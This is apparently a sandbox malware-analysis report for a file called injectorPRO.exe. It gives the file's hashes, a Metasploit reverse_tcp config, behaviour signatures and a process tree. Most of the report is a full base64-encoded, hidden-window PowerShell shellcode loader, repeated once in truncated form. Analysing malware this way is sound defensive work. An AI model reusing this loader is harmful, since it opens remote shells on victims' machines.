Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
17s -
max time network
18s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
18/12/2024, 18:55
Static task
static1
Behavioral task
behavioral1
Sample
injectorPRO.exe
Resource
win11-20241007-en
General
-
Target
injectorPRO.exe
-
Size
17KB
-
MD5
d1adc890e952aba11a3bf118243d8f49
-
SHA1
b0656e5cae0c288ddb376e15ca8d9e2e397cfce5
-
SHA256
e9ccbf5fa7f41a02d5e1e9d67d29d68a364f73d021926795e656402c6fa0f7e2
-
SHA512
47d026f8bef2695916717f24fa1e41b23fd40331b5c0c938f52e238b254d7f2dd92713b18d595a4f73ccd4543acb631e227d6a00e641a30f587d0878c0b2d127
-
SSDEEP
384:Y9EEoLO56ayzcMj+s+XY5cUICgjlKYgFI2cl1caXUlciFxwmcLHa7Q:5E8O56lcVs+XYLVYg9cl1caXkciFjc28
Malware Config
Extracted
metasploit
encoder/shikata_ga_nai
Extracted
metasploit
windows/reverse_tcp
192.168.178.36:9999
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Metasploit family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5108 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe -
Modifies registry class 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2253712635-4068079004-3870069674-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix BackgroundTransferHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2253712635-4068079004-3870069674-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" BackgroundTransferHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2253712635-4068079004-3870069674-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" BackgroundTransferHost.exe Key created \REGISTRY\USER\S-1-5-21-2253712635-4068079004-3870069674-1000_Classes\Local Settings\MuiCache BackgroundTransferHost.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5108 powershell.exe 5108 powershell.exe 3568 powershell.exe 3568 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5108 powershell.exe Token: SeDebugPrivilege 3568 powershell.exe -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 3920 wrote to memory of 988 3920 injectorPRO.exe 78 PID 3920 wrote to memory of 988 3920 injectorPRO.exe 78 PID 988 wrote to memory of 5108 988 cmd.exe 79 PID 988 wrote to memory of 5108 988 cmd.exe 79 PID 5108 wrote to memory of 3568 5108 powershell.exe 80 PID 5108 wrote to memory of 3568 5108 powershell.exe 80 PID 5108 wrote to memory of 3568 5108 powershell.exe 80 PID 3568 wrote to memory of 3604 3568 powershell.exe 81 PID 3568 wrote to memory of 3604 3568 powershell.exe 81 PID 3568 wrote to memory of 3604 3568 powershell.exe 81 PID 3604 wrote to memory of 1156 3604 csc.exe 82 PID 3604 wrote to memory of 1156 3604 csc.exe 82 PID 3604 wrote to memory of 1156 3604 csc.exe 82
Processes
-
C:\Users\Admin\AppData\Local\Temp\injectorPRO.exe"C:\Users\Admin\AppData\Local\Temp\injectorPRO.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -window hidden -EncodedCommand JABOAGYAVgBmACAAPQAgACcAJABKAEEARwAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABKAEEARwAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkADkALAAwAHgAYwA2ACwAMAB4AGIAOAAsADAAeABhADMALAAwAHgAYwBhACwAMAB4AGEAOAAsADAAeABiAGIALAAwAHgAZAA5ACwAMAB4ADcANAAsADAAeAAyADQALAAwAHgAZgA0ACwAMAB4ADUAZAAsADAAeAAyADkALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA0AGIALAAwAHgAOAAzACwAMAB4AGUAZAAsADAAeABmAGMALAAwAHgAMwAxACwAMAB4ADQANQAsADAAeAAxADMALAAwAHgAMAAzACwAMAB4AGUANgAsADAAeABkADkALAAwAHgANABhACwAMAB4ADQAZQAsADAAeAAxADQALAAwAHgAMwA1ACwAMAB4ADAANQAsADAAeABiADEALAAwAHgAZQA0ACwAMAB4AGMANgAsADAAeAA3AGEALAAwAHgAMwBiACwAMAB4ADAAMQAsADAAeABmADcALAAwAHgAYQA4ACwAMAB4ADUAZgAsADAAeAA0ADIALAAwAHgAYQBhACwAMAB4ADcAYwAsADAAeAAyAGIALAAwAHgAMAA2ACwAMAB4ADQANwAsADAAeABmADYALAAwAHgANwA5ACwAMAB4AGIAMgAsADAAeABkAGMALAAwAHgANwBhACwAMAB4ADUANgAsADAAeABiADUALAAwAHgANQA1ACwAMAB4ADMAMAAsADAAeAA4ADAALAAwAHgAZgA4ACwAMAB4ADYANgAsADAAeABmADQALAAwAHgAMABjACwAMAB4ADUANgAsADAAeABhADQALAAwAHgAOQA2ACwAMAB4AGYAMAAsADAAeABhADQALAAwAHgAZgA5ACwAMAB4ADcAOAAsADAAeABjADgALAAwAHgANgA3ACwAMAB4ADAAYwAsADAAeAA3ADgALAAwAHgAMABkACwAMAB4ADMAZQAsADAAeAA3AGEALAAwAHgAOQA1ACwAMAB4AGMAMwAsADAAeAA5ADcALAAwAHgAMABmACwAMAB4ADMAYgAsADAAeABmADQALAAwAHgAOQBjACwAMAB4ADUAMgAsADAAeAA4ADAALAAwAHgAZgA1ACwAMAB4ADcAMgAsADAAeABkADkALAAwAHgAYgA4ACwAMAB4ADgAZAAsADAAeABmADcALAAwAHgAMQBlACwAMAB4ADQAYwAsADAAeAAyADIALAAwAHgAZgA2ACwAMAB4ADQAZQAsADAAeAAyADYALAAwAHgAZgAyACwAMAB4AGUAMAAsADAAeABlADUALAAwAHgANgAxACwAMAB4ADIAMwAsADAAeAAxADEALAAwAHgAMgA5ACwAMAB4AGMAMQAsADAAeABhADYALAAwAHgAZAA4ACwAMAB4AGIAOQAsADAAeABkAGUALAAwAHgAOQA5ACwAMAB4ADIANQAsADAAeAAwADgALAAwAHgAOQA0ACwAMAB4AGUAZQAsADAAeAA1ADIALAAwAHgAOABhACwAMAB4ADcAYwAsADAAeAAzAGYALAAwAHgAYQA0ACwAMAB4ADIAMQAsADAAeAA0ADEALAAwAHgAOABmACwAMAB4ADIAOQAsADAAeAAzAGIALAAwAHgAOAA1ACwAMAB4ADIAOAAsADAAeABkADEALAAwAHgANABlACwAMAB4AGYAZAAsADAAeAA0AGEALAAwAHgANgBjACwAMAB4ADQAOQAsADAAeABjADYALAAwAHgAMwAxACwAMAB4AGEAYQAsADAAeABkAGMALAAwAHgAZAA5ACwAMAB4ADkAMgAsADAAeAAzADkALAAwAHgANAA2ACwAMAB4ADMAZQAsADAAeAAyADIALAAwAHgAZQBlACwAMAB4ADEAMQAsADAAeABiADUALAAwAHgAMgA4ACwAMAB4ADUAYgAsADAAeAA1ADUALAAwAHgAOQAxACwAMAB4ADIAYwAsADAAeAA1AGEALAAwAHgAYgBhACwAMAB4AGEAOQAsADAAeAA0ADkALAAwAHgAZAA3ACwAMAB4ADMAZAAsADAAeAA3AGUALAAwAHgAZAA4ACwAMAB4AGEAMwAsADAAeAAxADkALAAwAHgANQBhACwAMAB4ADgAMAAsADAAeAA3ADAALAAwAHgAMAAzACwAMAB4AGYAYgAsADAAeAA2AGMALAAwAHgAZAA3ACwAMAB4ADMAYwAsADAAeAAxAGIALAAwAHgAYwA4ACwAMAB4ADgAOAAsADAAeAA5ADgALAAwAHgANQA3ACwAMAB4AGYAYgAsADAAeABkAGYALAAwAHgAOQBkACwAMAB4ADkANwAsADAAeAAwADMALAAwAHgAZQAwACwAMAB4AGMAMwAsADAAeAAwAGYALAAwAHgAYwBmACwAMAB4ADIAYwAsADAAeABmAGMALAAwAHgAYwBmACwAMAB4ADQANwAsADAAeAAyADcALAAwAHgAOABmACwAMAB4AGYAZAAsADAAeABjADgALAAwAHgAOQAzACwAMAB4ADAANwAsADAAeAA0AGUALAAwAHgAOAAwACwAMAB4ADMAZAAsADAAeABkAGYALAAwAHgAYwA3ACwAMAB4ADgANgAsADAAeABiAGUALAAwAHgAMABmACwAMAB4ADYAZgAsADAAeABjADYALAAwAHgANAAxACwAMAB4AGIAMAAsADAAeAA5ADAALAAwAHgAYwBlACwAMAB4ADgANQAsADAAeABlADQALAAwAHgAYwAwACwAMAB4ADcAOAAsADAAeAAyAGMALAAwAHgAOAA1ACwAMAB4ADgAYQAsADAAeAA3ADgALAAwAHgAZAAxACwAMAB4ADUAMAAsADAAeAAyADYALAAwAHgANwAzACwAMAB4ADQANQAsADAAeAA5AGIALAAwAHgAMQBmACwAMAB4ADMAMQAsADAAeABiADEALAAwAHgANwAzACwAMAB4ADYAMgAsADAAeAAzADYALAAwAHgAOQBlACwAMAB4ADgAYwAsADAAeABlAGIALAAwAHgAZAAwACwAMAB4AGIAMAAsADAAeABjADIALAAwAHgAYgBiACwAMAB4ADQAYwAsADAAeAA3ADAALAAwAHgAYgAzACwAMAB4ADcAYgAsADAAeAAzAGQALAAwAHgAMQA4ACwAMAB4AGQAOQAsADAAeAA3ADMALAAwAHgANgAyACwAMAB4ADMAOAAsADAAeABlADIALAAwAHgANQA5ACwAMAB4ADAAYgAsADAAeABkADIALAAwAHgAMABkACwAMAB4ADMANAAsADAAeAA2ADMALAAwAHgANABhACwAMAB4AGIANwAsADAAeAAxAGQALAAwAHgAZgBmACwAMAB4AGUAYgAsADAAeAAzADgALAAwAHgAOAA4ACwAMAB4ADgANQAsADAAeAAyAGIALAAwAHgAYgAyACwAMAB4ADMAZgAsADAAeAA3ADkALAAwAHgAZQA1ACwAMAB4ADMAMwAsADAAeAAzADUALAAwAHgANgA5ACwAMAB4ADkAMQAsADAAeABiADMALAAwAHgAMAAwACwAMAB4AGQAMwAsADAAeAAzADcALAAwAHgAYwBiACwAMAB4AGIAZQAsADAAeAA3AGUALAAwAHgAYgA3ACwAMAB4ADUAOQAsADAAeAA0ADUALAAwAHgAMgA5ACwAMAB4AGUAMAAsADAAeABmADUALAAwAHgANAA3ACwAMAB4ADAAYwAsADAAeABjADYALAAwAHgANQA5ACwAMAB4AGIANwAsADAAeAA3AGIALAAwAHgANQBkACwAMAB4ADUAMwAsADAAeAAyAGQALAAwAHgAYwA0ACwAMAB4ADAAOQAsADAAeAA5AGMALAAwAHgAYQAxACwAMAB4AGMANAAsADAAeABjADkALAAwAHgAYwBhACwAMAB4AGEAYgAsADAAeABjADQALAAwAHgAYQAxACwAMAB4AGEAYQAsADAAeAA4AGYALAAwAHgAOQA2ACwAMAB4AGQANAAsADAAeABiADQALAAwAHgAMAA1ACwAMAB4ADgAYgAsADAAeAA0ADUALAAwAHgAMgAxACwAMAB4AGEANgAsADAAeABmAGEALAAwAHgAMwBhACwAMAB4AGUAMgAsADAAeABjAGUALAAwAHgAMAAwACwAMAB4ADYANQAsADAAeABjADQALAAwAHgANQAwACwAMAB4AGYAYQAsADAAeAA0ADAALAAwAHgAZAA0ACwAMAB4AGEAZAAsADAAeAAyAGQALAAwAHgAYQBjACwAMAB4AGEAMgAsADAAeABkAGYALAAwAHgAZQBkADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJAB5ADYARQA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAeQA2AEUALgBUAG8ASQBuAHQAMwAyACgAKQArACQAaQApACwAIAAkAHoAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAHkANgBFACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQATgBmAFYAZgApACkAOwAkAHEAbwBPAHcAIAA9ACAAIgAtAGUAbgBjACAAIgA7AGkAZgAoAFsASQBuAHQAUAB0AHIAXQA6ADoAUwBpAHoAZQAgAC0AZQBxACAAOAApAHsAJAB1ADcAcwBxACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAHUANwBzAHEAIAAkAHEAbwBPAHcAIAAkAGUAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQAcQBvAE8AdwAgACQAZQAiADsAfQA=2⤵
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -window hidden -EncodedCommand JABOAGYAVgBmACAAPQAgACcAJABKAEEARwAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABKAEEARwAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkADkALAAwAHgAYwA2ACwAMAB4AGIAOAAsADAAeABhADMALAAwAHgAYwBhACwAMAB4AGEAOAAsADAAeABiAGIALAAwAHgAZAA5ACwAMAB4ADcANAAsADAAeAAyADQALAAwAHgAZgA0ACwAMAB4ADUAZAAsADAAeAAyADkALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA0AGIALAAwAHgAOAAzACwAMAB4AGUAZAAsADAAeABmAGMALAAwAHgAMwAxACwAMAB4ADQANQAsADAAeAAxADMALAAwAHgAMAAzACwAMAB4AGUANgAsADAAeABkADkALAAwAHgANABhACwAMAB4ADQAZQAsADAAeAAxADQALAAwAHgAMwA1ACwAMAB4ADAANQAsADAAeABiADEALAAwAHgAZQA0ACwAMAB4AGMANgAsADAAeAA3AGEALAAwAHgAMwBiACwAMAB4ADAAMQAsADAAeABmADcALAAwAHgAYQA4ACwAMAB4ADUAZgAsADAAeAA0ADIALAAwAHgAYQBhACwAMAB4ADcAYwAsADAAeAAyAGIALAAwAHgAMAA2ACwAMAB4ADQANwAsADAAeABmADYALAAwAHgANwA5ACwAMAB4AGIAMgAsADAAeABkAGMALAAwAHgANwBhACwAMAB4ADUANgAsADAAeABiADUALAAwAHgANQA1ACwAMAB4ADMAMAAsADAAeAA4ADAALAAwAHgAZgA4ACwAMAB4ADYANgAsADAAeABmADQALAAwAHgAMABjACwAMAB4ADUANgAsADAAeABhADQALAAwAHgAOQA2ACwAMAB4AGYAMAAsADAAeABhADQALAAwAHgAZgA5ACwAMAB4ADcAOAAsADAAeABjADgALAAwAHgANgA3ACwAMAB4ADAAYwAsADAAeAA3ADgALAAwAHgAMABkACwAMAB4ADMAZQAsADAAeAA3AGEALAAwAHgAOQA1ACwAMAB4AGMAMwAsADAAeAA5ADcALAAwAHgAMABmACwAMAB4ADMAYgAsADAAeABmADQALAAwAHgAOQBjACwAMAB4ADUAMgAsADAAeAA4ADAALAAwAHgAZgA1ACwAMAB4ADcAMgAsADAAeABkADkALAAwAHgAYgA4ACwAMAB4ADgAZAAsADAAeABmADcALAAwAHgAMQBlACwAMAB4ADQAYwAsADAAeAAyADIALAAwAHgAZgA2ACwAMAB4ADQAZQAsADAAeAAyADYALAAwAHgAZgAyACwAMAB4AGUAMAAsADAAeABlADUALAAwAHgANgAxACwAMAB4ADIAMwAsADAAeAAxADEALAAwAHgAMgA5ACwAMAB4AGMAMQAsADAAeABhADYALAAwAHgAZAA4ACwAMAB4AGIAOQAsADAAeABkAGUALAAwAHgAOQA5ACwAMAB4ADIANQAsADAAeAAwADgALAAwAHgAOQA0ACwAMAB4AGUAZQAsADAAeAA1ADIALAAwAHgAOABhACwAMAB4ADcAYwAsADAAeAAzAGYALAAwAHgAYQA0ACwAMAB4ADIAMQAsADAAeAA0ADEALAAwAHgAOABmACwAMAB4ADIAOQAsADAAeAAzAGIALAAwAHgAOAA1ACwAMAB4ADIAOAAsADAAeABkADEALAAwAHgANABlACwAMAB4AGYAZAAsADAAeAA0AGEALAAwAHgANgBjACwAMAB4ADQAOQAsADAAeABjADYALAAwAHgAMwAxACwAMAB4AGEAYQAsADAAeABkAGMALAAwAHgAZAA5ACwAMAB4ADkAMgAsADAAeAAzADkALAAwAHgANAA2ACwAMAB4ADMAZQAsADAAeAAyADIALAAwAHgAZQBlACwAMAB4ADEAMQAsADAAeABiADUALAAwAHgAMgA4ACwAMAB4ADUAYgAsADAAeAA1ADUALAAwAHgAOQAxACwAMAB4ADIAYwAsADAAeAA1AGEALAAwAHgAYgBhACwAMAB4AGEAOQAsADAAeAA0ADkALAAwAHgAZAA3ACwAMAB4ADMAZAAsADAAeAA3AGUALAAwAHgAZAA4ACwAMAB4AGEAMwAsADAAeAAxADkALAAwAHgANQBhACwAMAB4ADgAMAAsADAAeAA3ADAALAAwAHgAMAAzACwAMAB4AGYAYgAsADAAeAA2AGMALAAwAHgAZAA3ACwAMAB4ADMAYwAsADAAeAAxAGIALAAwAHgAYwA4ACwAMAB4ADgAOAAsADAAeAA5ADgALAAwAHgANQA3ACwAMAB4AGYAYgAsADAAeABkAGYALAAwAHgAOQBkACwAMAB4ADkANwAsADAAeAAwADMALAAwAHgAZQAwACwAMAB4AGMAMwAsADAAeAAwAGYALAAwAHgAYwBmACwAMAB4ADIAYwAsADAAeABmAGMALAAwAHgAYwBmACwAMAB4ADQANwAsADAAeAAyADcALAAwAHgAOABmACwAMAB4AGYAZAAsADAAeABjADgALAAwAHgAOQAzACwAMAB4ADAANwAsADAAeAA0AGUALAAwAHgAOAAwACwAMAB4ADMAZAAsADAAeABkAGYALAAwAHgAYwA3ACwAMAB4ADgANgAsADAAeABiAGUALAAwAHgAMABmACwAMAB4ADYAZgAsADAAeABjADYALAAwAHgANAAxACwAMAB4AGIAMAAsADAAeAA5ADAALAAwAHgAYwBlACwAMAB4ADgANQAsADAAeABlADQALAAwAHgAYwAwACwAMAB4ADcAOAAsADAAeAAyAGMALAAwAHgAOAA1ACwAMAB4ADgAYQAsADAAeAA3ADgALAAwAHgAZAAxACwAMAB4ADUAMAAsADAAeAAyADYALAAwAHgANwAzACwAMAB4ADQANQAsADAAeAA5AGIALAAwAHgAMQBmACwAMAB4ADMAMQAsADAAeABiADEALAAwAHgANwAzACwAMAB4ADYAMgAsADAAeAAzADYALAAwAHgAOQBlACwAMAB4ADgAYwAsADAAeABlAGIALAAwAHgAZAAwACwAMAB4AGIAMAAsADAAeABjADIALAAwAHgAYgBiACwAMAB4ADQAYwAsADAAeAA3ADAALAAwAHgAYgAzACwAMAB4ADcAYgAsADAAeAAzAGQALAAwAHgAMQA4ACwAMAB4AGQAOQAsADAAeAA3ADMALAAwAHgANgAyACwAMAB4ADMAOAAsADAAeABlADIALAAwAHgANQA5ACwAMAB4ADAAYgAsADAAeABkADIALAAwAHgAMABkACwAMAB4ADMANAAsADAAeAA2ADMALAAwAHgANABhACwAMAB4AGIANwAsADAAeAAxAGQALAAwAHgAZgBmACwAMAB4AGUAYgAsADAAeAAzADgALAAwAHgAOAA4ACwAMAB4ADgANQAsADAAeAAyAGIALAAwAHgAYgAyACwAMAB4ADMAZgAsADAAeAA3ADkALAAwAHgAZQA1ACwAMAB4ADMAMwAsADAAeAAzADUALAAwAHgANgA5ACwAMAB4ADkAMQAsADAAeABiADMALAAwAHgAMAAwACwAMAB4AGQAMwAsADAAeAAzADcALAAwAHgAYwBiACwAMAB4AGIAZQAsADAAeAA3AGUALAAwAHgAYgA3ACwAMAB4ADUAOQAsADAAeAA0ADUALAAwAHgAMgA5ACwAMAB4AGUAMAAsADAAeABmADUALAAwAHgANAA3ACwAMAB4ADAAYwAsADAAeABjADYALAAwAHgANQA5ACwAMAB4AGIANwAsADAAeAA3AGIALAAwAHgANQBkACwAMAB4ADUAMwAsADAAeAAyAGQALAAwAHgAYwA0ACwAMAB4ADAAOQAsADAAeAA5AGMALAAwAHgAYQAxACwAMAB4AGMANAAsADAAeABjADkALAAwAHgAYwBhACwAMAB4AGEAYgAsADAAeABjADQALAAwAHgAYQAxACwAMAB4AGEAYQAsADAAeAA4AGYALAAwAHgAOQA2ACwAMAB4AGQANAAsADAAeABiADQALAAwAHgAMAA1ACwAMAB4ADgAYgAsADAAeAA0ADUALAAwAHgAMgAxACwAMAB4AGEANgAsADAAeABmAGEALAAwAHgAMwBhACwAMAB4AGUAMgAsADAAeABjAGUALAAwAHgAMAAwACwAMAB4ADYANQAsADAAeABjADQALAAwAHgANQAwACwAMAB4AGYAYQAsADAAeAA0ADAALAAwAHgAZAA0ACwAMAB4AGEAZAAsADAAeAAyAGQALAAwAHgAYQBjACwAMAB4AGEAMgAsADAAeABkAGYALAAwAHgAZQBkADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJAB5ADYARQA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAeQA2AEUALgBUAG8ASQBuAHQAMwAyACgAKQArACQAaQApACwAIAAkAHoAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAHkANgBFACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQATgBmAFYAZgApACkAOwAkAHEAbwBPAHcAIAA9ACAAIgAtAGUAbgBjACAAIgA7AGkAZgAoAFsASQBuAHQAUAB0AHIAXQA6ADoAUwBpAHoAZQAgAC0AZQBxACAAOAApAHsAJAB1ADcAcwBxACAAPQAgACQAZQBuAHYAOgBT